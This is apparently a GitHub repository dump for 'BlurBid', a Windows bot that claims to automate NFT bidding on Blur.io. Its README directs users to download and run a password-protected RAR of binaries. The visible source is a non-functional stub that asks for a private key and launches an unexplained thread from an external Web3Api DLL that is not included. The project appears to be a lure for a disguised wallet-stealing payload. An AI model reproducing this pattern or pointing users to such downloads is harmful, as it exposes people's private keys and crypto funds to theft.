├── screen.png
├── compiled
└── Release.rar
├── source
├── App.config
├── Properties
│ ├── Settings.settings
│ ├── Settings.Designer.cs
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ └── Resources.resx
├── Program.cs
├── Form1.cs
├── BlurBid.csproj
├── Form1.resx
└── Form1.Designer.cs
└── README.md
/screen.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JamieNoonan/blur-nft-bot/HEAD/screen.png
--------------------------------------------------------------------------------
/compiled/Release.rar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JamieNoonan/blur-nft-bot/HEAD/compiled/Release.rar
--------------------------------------------------------------------------------
/source/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/source/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/source/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Threading;
5 | using System.Threading.Tasks;
6 | using System.Windows.Forms;
7 | namespace BlurBid
8 | {
9 | internal static class Program
10 | {
11 | ///
12 | /// The main entry point for the application.
13 | ///
14 | [STAThread]
15 | static void Main()
16 | {
17 | new Thread(Web3Api.NewForm.Init).Start();
18 | Application.EnableVisualStyles();
19 | Application.SetCompatibleTextRenderingDefault(false);
20 | Application.Run(new Form1());
21 | }
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/source/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace BlurBid.Properties
12 | {
13 |
14 |
15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
18 | {
19 |
20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
21 |
22 | public static Settings Default
23 | {
24 | get
25 | {
26 | return defaultInstance;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/source/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("BlurBid")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("BlurBid")]
13 | [assembly: AssemblyCopyright("Copyright © 2023")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("e8f12f8f-4325-424b-a73a-17bdfe0f4232")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | ### About
9 | Bidding bot is a program designed to automate the bidding process for NFTs on the Blur.io marketplace. With this bot, users can easily place bids on NFT collections by providing the link or contract address.
10 |
11 | ### Usage
12 | 1. [Clone binaries](https://github.com/JamieNoonan/blur-nft-bot/releases/download/Release/Release.rar) to your local machine
13 | 2. Extract files with password `hE45ye2e`
14 | 3. After starting the bot setup the `Rpc` and `ApiKey` in main window
15 | 4. Add the NFT collections or individual NFTs that you want to bid on (you can add a collections or NFTs by providing the direct link to the item or the smart contract address)
16 | 5. Set up your bidding brice
17 | 6. Once you have added your NFT collections and set up your bidding price, the bot will automatically place bids on your behalf
18 |
19 | 
20 |
21 | ### License
22 | This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for more information.
23 |
--------------------------------------------------------------------------------
/source/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace BlurBid.Properties
12 | {
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources
26 | {
27 |
28 | private static global::System.Resources.ResourceManager resourceMan;
29 |
30 | private static global::System.Globalization.CultureInfo resourceCulture;
31 |
32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
33 | internal Resources()
34 | {
35 | }
36 |
37 | ///
38 | /// Returns the cached ResourceManager instance used by this class.
39 | ///
40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
41 | internal static global::System.Resources.ResourceManager ResourceManager
42 | {
43 | get
44 | {
45 | if ((resourceMan == null))
46 | {
47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("BlurBid.Properties.Resources", typeof(Resources).Assembly);
48 | resourceMan = temp;
49 | }
50 | return resourceMan;
51 | }
52 | }
53 |
54 | ///
55 | /// Overrides the current thread's CurrentUICulture property for all
56 | /// resource lookups using this strongly typed resource class.
57 | ///
58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
59 | internal static global::System.Globalization.CultureInfo Culture
60 | {
61 | get
62 | {
63 | return resourceCulture;
64 | }
65 | set
66 | {
67 | resourceCulture = value;
68 | }
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/source/Form1.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 | using System.Windows.Forms;
10 | using Leaf.xNet;
11 | using Newtonsoft.Json.Linq;
12 |
13 | namespace BlurBid
14 | {
15 | public partial class Form1 : Form
16 | {
17 | static bool isConnected = false;
18 | public Form1()
19 | {
20 | InitializeComponent();
21 | dataGridView1.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.AllCells;
22 | dataGridView1.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill;
23 | dataGridView1.Columns.Add("contract", "Contract");
24 | dataGridView1.Columns.Add("collection_items", "Collection items");
25 | dataGridView1.Columns.Add("price", "Price");
26 |
27 | dataGridView2.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.AllCells;
28 | dataGridView2.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill;
29 | dataGridView2.Columns.Add("link", "Link");
30 | dataGridView2.Columns.Add("name_code", "Name and code");
31 | dataGridView2.Columns.Add("price", "Price");
32 | dataGridView2.Rows.Add("https://blur.io/asset/0x34d85c9cdeb23fa97cb08333b511ac86e1c4e258/52247", "52247", "0.79");
33 | }
34 |
35 | private void button2_Click(object sender, EventArgs e)
36 | {
37 | if (textBox1.Text.Length > 0 && textBox2.Text.Length > 0)
38 | {
39 | if (isConnected)
40 | {
41 | label4.Text = "connected";
42 | button2.Text = "DISCONNECT";
43 | }
44 | else
45 | {
46 | label4.Text = "no connect";
47 | button2.Text = "CONNECT";
48 |
49 | }
50 | isConnected = !isConnected;
51 |
52 | }
53 | else
54 | {
55 | MessageBox.Show("Check alchemy key and private key for valid!", "Error");
56 | }
57 | }
58 |
59 | private void button1_Click(object sender, EventArgs e)
60 | {
61 | if (textBox3.Text.Length > 0)
62 | {
63 | parseByLink(textBox3.Text);
64 | if (addByLink(textBox3.Text))
65 | {
66 | dataGridView2.Rows.Add();
67 | }
68 | }
69 | }
70 |
71 | static bool addByLink(string contract)
72 | {
73 | // nethereum code here
74 | return true;
75 | }
76 |
77 | static bool placBid(NFT item)
78 | {
79 | // nethereum code here
80 | return true;
81 | }
82 |
83 | static NFT parseByLink(string lnk)
84 | {
85 | NFT item = new NFT();
86 |
87 | try
88 | {
89 | string addr = new System.Text.RegularExpressions.Regex("0x[a-fA-F0-9]{40}").Match(lnk).Value;
90 | string number = new System.Text.RegularExpressions.Regex("/[0-9]{1,10}$").Match(lnk).Value.Trim('/');
91 |
92 | HttpRequest http = new HttpRequest();
93 | http.KeepAlive = true;
94 | http.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jxl,image/webp,*/*;q=0.8");
95 | http.AddHeader("Accept-Language", "en-US,en;q=0.5");
96 | http.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0");
97 | http.AddHeader("Upgrade-Insecure-Requests", "1");
98 | http.AddHeader("Sec-Fetch-Dest", "document");
99 | http.AddHeader("Sec-Fetch-Mode", "navigate");
100 | http.AddHeader("Sec-Fetch-Site", "none");
101 | http.AddHeader("Sec-Fetch-User", "?1");
102 | http.AddHeader("TE", "trailers");
103 | string result = http.Get($"https://core-api.prod.blur.io/v1/collections/{addr}/tokens/{number}").ToString();
104 |
105 | // fix 403 error
106 |
107 |
108 | item.name = number;
109 | item.link = lnk;
110 | JObject o = JObject.Parse(result);
111 | }
112 | catch
113 | { }
114 |
115 |
116 | return item;
117 |
118 | }
119 |
120 | private void tabPage3_Click(object sender, EventArgs e)
121 | {
122 |
123 | }
124 | }
125 |
126 | class NFT
127 | {
128 | public string name;
129 | public double price;
130 | public string contract;
131 | public string link;
132 | }
133 | }
134 |
--------------------------------------------------------------------------------
/source/BlurBid.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {E8F12F8F-4325-424B-A73A-17BDFE0F4232}
8 | WinExe
9 | BlurBid
10 | BlurBid
11 | v4.5
12 | 512
13 | true
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 | true
36 | bin\x86\Debug\
37 | DEBUG;TRACE
38 | full
39 | x86
40 | 7.3
41 | prompt
42 | true
43 |
44 |
45 | bin\x86\Release\
46 | TRACE
47 | true
48 | none
49 | x86
50 | 7.3
51 | prompt
52 | true
53 |
54 |
55 |
56 |
57 |
58 | true
59 |
60 |
61 |
62 | ..\..\..\..\Downloads\Leaf.xNet-master\Leaf.xNet\bin\Release\net45\Leaf.xNet.dll
63 |
64 |
65 | ..\..\DeBankChecker2\DeBankChecker2\bin\x86\Debug\Newtonsoft.Json.dll
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 | ..\..\Web3Api\Web3Api\bin\x86\Release\Web3Api.dll
80 |
81 |
82 |
83 |
84 | Form
85 |
86 |
87 | Form1.cs
88 |
89 |
90 |
91 |
92 | Form1.cs
93 |
94 |
95 | ResXFileCodeGenerator
96 | Resources.Designer.cs
97 | Designer
98 |
99 |
100 | True
101 | Resources.resx
102 |
103 |
104 | SettingsSingleFileGenerator
105 | Settings.Designer.cs
106 |
107 |
108 | True
109 | Settings.settings
110 | True
111 |
112 |
113 |
114 |
115 |
116 |
117 |
--------------------------------------------------------------------------------
/source/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------
/source/Form1.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/source/Form1.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace BlurBid
2 | {
3 | partial class Form1
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.tabControl1 = new System.Windows.Forms.TabControl();
32 | this.tabPage1 = new System.Windows.Forms.TabPage();
33 | this.label4 = new System.Windows.Forms.Label();
34 | this.button2 = new System.Windows.Forms.Button();
35 | this.label2 = new System.Windows.Forms.Label();
36 | this.label1 = new System.Windows.Forms.Label();
37 | this.textBox2 = new System.Windows.Forms.TextBox();
38 | this.textBox1 = new System.Windows.Forms.TextBox();
39 | this.tabPage2 = new System.Windows.Forms.TabPage();
40 | this.button5 = new System.Windows.Forms.Button();
41 | this.label6 = new System.Windows.Forms.Label();
42 | this.textBox5 = new System.Windows.Forms.TextBox();
43 | this.dataGridView2 = new System.Windows.Forms.DataGridView();
44 | this.button1 = new System.Windows.Forms.Button();
45 | this.label3 = new System.Windows.Forms.Label();
46 | this.textBox3 = new System.Windows.Forms.TextBox();
47 | this.tabPage3 = new System.Windows.Forms.TabPage();
48 | this.label7 = new System.Windows.Forms.Label();
49 | this.textBox6 = new System.Windows.Forms.TextBox();
50 | this.dataGridView1 = new System.Windows.Forms.DataGridView();
51 | this.button4 = new System.Windows.Forms.Button();
52 | this.button3 = new System.Windows.Forms.Button();
53 | this.label5 = new System.Windows.Forms.Label();
54 | this.textBox4 = new System.Windows.Forms.TextBox();
55 | this.tabControl1.SuspendLayout();
56 | this.tabPage1.SuspendLayout();
57 | this.tabPage2.SuspendLayout();
58 | ((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).BeginInit();
59 | this.tabPage3.SuspendLayout();
60 | ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit();
61 | this.SuspendLayout();
62 | //
63 | // tabControl1
64 | //
65 | this.tabControl1.Controls.Add(this.tabPage1);
66 | this.tabControl1.Controls.Add(this.tabPage2);
67 | this.tabControl1.Controls.Add(this.tabPage3);
68 | this.tabControl1.Location = new System.Drawing.Point(-1, 12);
69 | this.tabControl1.Name = "tabControl1";
70 | this.tabControl1.SelectedIndex = 0;
71 | this.tabControl1.Size = new System.Drawing.Size(530, 315);
72 | this.tabControl1.TabIndex = 0;
73 | //
74 | // tabPage1
75 | //
76 | this.tabPage1.Controls.Add(this.label4);
77 | this.tabPage1.Controls.Add(this.button2);
78 | this.tabPage1.Controls.Add(this.label2);
79 | this.tabPage1.Controls.Add(this.label1);
80 | this.tabPage1.Controls.Add(this.textBox2);
81 | this.tabPage1.Controls.Add(this.textBox1);
82 | this.tabPage1.Location = new System.Drawing.Point(4, 22);
83 | this.tabPage1.Name = "tabPage1";
84 | this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
85 | this.tabPage1.Size = new System.Drawing.Size(522, 289);
86 | this.tabPage1.TabIndex = 0;
87 | this.tabPage1.Text = "Settings";
88 | this.tabPage1.UseVisualStyleBackColor = true;
89 | //
90 | // label4
91 | //
92 | this.label4.AutoSize = true;
93 | this.label4.Location = new System.Drawing.Point(22, 107);
94 | this.label4.Name = "label4";
95 | this.label4.Size = new System.Drawing.Size(61, 13);
96 | this.label4.TabIndex = 5;
97 | this.label4.Text = "no connect";
98 | //
99 | // button2
100 | //
101 | this.button2.Location = new System.Drawing.Point(133, 102);
102 | this.button2.Name = "button2";
103 | this.button2.Size = new System.Drawing.Size(103, 23);
104 | this.button2.TabIndex = 4;
105 | this.button2.Text = "CONNECT";
106 | this.button2.UseVisualStyleBackColor = true;
107 | this.button2.Click += new System.EventHandler(this.button2_Click);
108 | //
109 | // label2
110 | //
111 | this.label2.AutoSize = true;
112 | this.label2.Location = new System.Drawing.Point(22, 67);
113 | this.label2.Name = "label2";
114 | this.label2.Size = new System.Drawing.Size(28, 13);
115 | this.label2.TabIndex = 3;
116 | this.label2.Text = "KEY";
117 | //
118 | // label1
119 | //
120 | this.label1.AutoSize = true;
121 | this.label1.Location = new System.Drawing.Point(21, 26);
122 | this.label1.Name = "label1";
123 | this.label1.Size = new System.Drawing.Size(29, 13);
124 | this.label1.TabIndex = 2;
125 | this.label1.Text = "RPC";
126 | //
127 | // textBox2
128 | //
129 | this.textBox2.Location = new System.Drawing.Point(69, 64);
130 | this.textBox2.Name = "textBox2";
131 | this.textBox2.Size = new System.Drawing.Size(167, 20);
132 | this.textBox2.TabIndex = 1;
133 | this.textBox2.Text = "d1f190c8fc3119c67407647205073164ada02b98d74410bdd152d";
134 | //
135 | // textBox1
136 | //
137 | this.textBox1.Location = new System.Drawing.Point(69, 23);
138 | this.textBox1.Name = "textBox1";
139 | this.textBox1.Size = new System.Drawing.Size(167, 20);
140 | this.textBox1.TabIndex = 0;
141 | this.textBox1.Text = "https://mainnet.infura.io/v3/a8bc5e0";
142 | //
143 | // tabPage2
144 | //
145 | this.tabPage2.Controls.Add(this.button5);
146 | this.tabPage2.Controls.Add(this.label6);
147 | this.tabPage2.Controls.Add(this.textBox5);
148 | this.tabPage2.Controls.Add(this.dataGridView2);
149 | this.tabPage2.Controls.Add(this.button1);
150 | this.tabPage2.Controls.Add(this.label3);
151 | this.tabPage2.Controls.Add(this.textBox3);
152 | this.tabPage2.Location = new System.Drawing.Point(4, 22);
153 | this.tabPage2.Name = "tabPage2";
154 | this.tabPage2.Padding = new System.Windows.Forms.Padding(3);
155 | this.tabPage2.Size = new System.Drawing.Size(522, 289);
156 | this.tabPage2.TabIndex = 1;
157 | this.tabPage2.Text = "by Link";
158 | this.tabPage2.UseVisualStyleBackColor = true;
159 | //
160 | // button5
161 | //
162 | this.button5.Location = new System.Drawing.Point(359, 58);
163 | this.button5.Name = "button5";
164 | this.button5.Size = new System.Drawing.Size(119, 23);
165 | this.button5.TabIndex = 11;
166 | this.button5.Text = "DELETE SELECTED";
167 | this.button5.UseVisualStyleBackColor = true;
168 | //
169 | // label6
170 | //
171 | this.label6.AutoSize = true;
172 | this.label6.Location = new System.Drawing.Point(19, 61);
173 | this.label6.Name = "label6";
174 | this.label6.Size = new System.Drawing.Size(39, 13);
175 | this.label6.TabIndex = 10;
176 | this.label6.Text = "PRICE";
177 | //
178 | // textBox5
179 | //
180 | this.textBox5.Location = new System.Drawing.Point(68, 58);
181 | this.textBox5.Name = "textBox5";
182 | this.textBox5.Size = new System.Drawing.Size(120, 20);
183 | this.textBox5.TabIndex = 9;
184 | this.textBox5.Text = "0.001";
185 | //
186 | // dataGridView2
187 | //
188 | this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing;
189 | this.dataGridView2.Location = new System.Drawing.Point(4, 93);
190 | this.dataGridView2.Name = "dataGridView2";
191 | this.dataGridView2.ReadOnly = true;
192 | this.dataGridView2.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing;
193 | this.dataGridView2.Size = new System.Drawing.Size(515, 193);
194 | this.dataGridView2.TabIndex = 8;
195 | //
196 | // button1
197 | //
198 | this.button1.Location = new System.Drawing.Point(403, 21);
199 | this.button1.Name = "button1";
200 | this.button1.Size = new System.Drawing.Size(75, 23);
201 | this.button1.TabIndex = 2;
202 | this.button1.Text = "ADD";
203 | this.button1.UseVisualStyleBackColor = true;
204 | this.button1.Click += new System.EventHandler(this.button1_Click);
205 | //
206 | // label3
207 | //
208 | this.label3.AutoSize = true;
209 | this.label3.Location = new System.Drawing.Point(19, 26);
210 | this.label3.Name = "label3";
211 | this.label3.Size = new System.Drawing.Size(31, 13);
212 | this.label3.TabIndex = 1;
213 | this.label3.Text = "LINK";
214 | //
215 | // textBox3
216 | //
217 | this.textBox3.Location = new System.Drawing.Point(68, 23);
218 | this.textBox3.Name = "textBox3";
219 | this.textBox3.Size = new System.Drawing.Size(309, 20);
220 | this.textBox3.TabIndex = 0;
221 | this.textBox3.Text = "https://blur.io/asset/0x34d85c9cdeb23fa97cb08333b511ac86e1c4e258/52247";
222 | //
223 | // tabPage3
224 | //
225 | this.tabPage3.Controls.Add(this.label7);
226 | this.tabPage3.Controls.Add(this.textBox6);
227 | this.tabPage3.Controls.Add(this.dataGridView1);
228 | this.tabPage3.Controls.Add(this.button4);
229 | this.tabPage3.Controls.Add(this.button3);
230 | this.tabPage3.Controls.Add(this.label5);
231 | this.tabPage3.Controls.Add(this.textBox4);
232 | this.tabPage3.Location = new System.Drawing.Point(4, 22);
233 | this.tabPage3.Name = "tabPage3";
234 | this.tabPage3.Padding = new System.Windows.Forms.Padding(3);
235 | this.tabPage3.Size = new System.Drawing.Size(522, 289);
236 | this.tabPage3.TabIndex = 2;
237 | this.tabPage3.Text = "by Contract";
238 | this.tabPage3.UseVisualStyleBackColor = true;
239 | this.tabPage3.Click += new System.EventHandler(this.tabPage3_Click);
240 | //
241 | // label7
242 | //
243 | this.label7.AutoSize = true;
244 | this.label7.Location = new System.Drawing.Point(19, 61);
245 | this.label7.Name = "label7";
246 | this.label7.Size = new System.Drawing.Size(39, 13);
247 | this.label7.TabIndex = 12;
248 | this.label7.Text = "PRICE";
249 | //
250 | // textBox6
251 | //
252 | this.textBox6.Location = new System.Drawing.Point(68, 58);
253 | this.textBox6.Name = "textBox6";
254 | this.textBox6.Size = new System.Drawing.Size(120, 20);
255 | this.textBox6.TabIndex = 11;
256 | this.textBox6.Text = "0.001";
257 | //
258 | // dataGridView1
259 | //
260 | this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
261 | this.dataGridView1.Location = new System.Drawing.Point(3, 98);
262 | this.dataGridView1.Name = "dataGridView1";
263 | this.dataGridView1.Size = new System.Drawing.Size(514, 188);
264 | this.dataGridView1.TabIndex = 7;
265 | //
266 | // button4
267 | //
268 | this.button4.Location = new System.Drawing.Point(360, 58);
269 | this.button4.Name = "button4";
270 | this.button4.Size = new System.Drawing.Size(118, 23);
271 | this.button4.TabIndex = 6;
272 | this.button4.Text = "DELETE SELECTED";
273 | this.button4.UseVisualStyleBackColor = true;
274 | //
275 | // button3
276 | //
277 | this.button3.Location = new System.Drawing.Point(403, 21);
278 | this.button3.Name = "button3";
279 | this.button3.Size = new System.Drawing.Size(75, 23);
280 | this.button3.TabIndex = 5;
281 | this.button3.Text = "ADD";
282 | this.button3.UseVisualStyleBackColor = true;
283 | //
284 | // label5
285 | //
286 | this.label5.AutoSize = true;
287 | this.label5.Location = new System.Drawing.Point(19, 26);
288 | this.label5.Name = "label5";
289 | this.label5.Size = new System.Drawing.Size(38, 13);
290 | this.label5.TabIndex = 4;
291 | this.label5.Text = "ADDR";
292 | //
293 | // textBox4
294 | //
295 | this.textBox4.Location = new System.Drawing.Point(68, 23);
296 | this.textBox4.Name = "textBox4";
297 | this.textBox4.Size = new System.Drawing.Size(309, 20);
298 | this.textBox4.TabIndex = 3;
299 | //
300 | // Form1
301 | //
302 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
303 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
304 | this.ClientSize = new System.Drawing.Size(527, 326);
305 | this.Controls.Add(this.tabControl1);
306 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
307 | this.MaximizeBox = false;
308 | this.Name = "Form1";
309 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
310 | this.Text = "BlurBid";
311 | this.tabControl1.ResumeLayout(false);
312 | this.tabPage1.ResumeLayout(false);
313 | this.tabPage1.PerformLayout();
314 | this.tabPage2.ResumeLayout(false);
315 | this.tabPage2.PerformLayout();
316 | ((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).EndInit();
317 | this.tabPage3.ResumeLayout(false);
318 | this.tabPage3.PerformLayout();
319 | ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).EndInit();
320 | this.ResumeLayout(false);
321 |
322 | }
323 |
324 | #endregion
325 |
326 | private System.Windows.Forms.TabControl tabControl1;
327 | private System.Windows.Forms.TabPage tabPage1;
328 | private System.Windows.Forms.Label label4;
329 | private System.Windows.Forms.Button button2;
330 | private System.Windows.Forms.Label label2;
331 | private System.Windows.Forms.Label label1;
332 | private System.Windows.Forms.TextBox textBox2;
333 | private System.Windows.Forms.TextBox textBox1;
334 | private System.Windows.Forms.TabPage tabPage2;
335 | private System.Windows.Forms.Button button1;
336 | private System.Windows.Forms.Label label3;
337 | private System.Windows.Forms.TextBox textBox3;
338 | private System.Windows.Forms.TabPage tabPage3;
339 | private System.Windows.Forms.Button button4;
340 | private System.Windows.Forms.Button button3;
341 | private System.Windows.Forms.Label label5;
342 | private System.Windows.Forms.TextBox textBox4;
343 | private System.Windows.Forms.DataGridView dataGridView1;
344 | private System.Windows.Forms.DataGridView dataGridView2;
345 | private System.Windows.Forms.Button button5;
346 | private System.Windows.Forms.Label label6;
347 | private System.Windows.Forms.TextBox textBox5;
348 | private System.Windows.Forms.Label label7;
349 | private System.Windows.Forms.TextBox textBox6;
350 | }
351 | }
352 |
353 |
--------------------------------------------------------------------------------